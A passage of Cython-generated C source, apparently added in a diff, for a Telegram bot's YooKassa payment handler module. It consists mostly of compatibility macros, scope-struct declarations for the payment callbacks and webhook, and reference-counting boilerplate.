__Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__yookassa_pay +#define __PYX_HAVE_API__handlers__payments__yookassa_pay +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/yookassa_pay.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount; +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input; + +/* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct__process_callback_pay_yookassa { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_exists; + PyObject *__pyx_v_expected_hash; + PyObject *__pyx_v_i; + PyObject *__pyx_v_key_count; + PyObject *__pyx_v_session; + PyObject *__pyx_v_state; + PyObject *__pyx_v_tg_id; +}; + + +/* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_customer_email; + PyObject *__pyx_v_customer_id; + PyObject *__pyx_v_customer_name; + PyObject *__pyx_v_data; + PyObject *__pyx_v_payment; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_amount_str; + PyObject *__pyx_v_e; + PyObject *__pyx_v_event; + PyObject *__pyx_v_payment; + PyObject *__pyx_v_payment_id; + PyObject *__pyx_v_payment_object; + PyObject *__pyx_v_request; + PyObject *__pyx_v_user_id; + PyObject *__pyx_v_user_id_str; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + + +/* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_3_process_enter_custom_amount { + PyObject_HEAD + PyObject *__pyx_v_builder; + PyObject *__pyx_v_callback_query; + PyObject *__pyx_v_state; +}; + + +/* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ +struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_custom_amount_input { + PyObject_HEAD + PyObject *__pyx_v_amount; + PyObject *__pyx_v_confirm_keyboard; + PyObject *__pyx_v_e; + PyObject *__pyx_v_message; + PyObject *__pyx_v_payment; + PyObject *__pyx_v_payment_url; + PyObject *__pyx_v_state; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; + PyObject *__pyx_t_3; + PyObject *__pyx_t_4; + PyObject *__pyx_t_5; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, 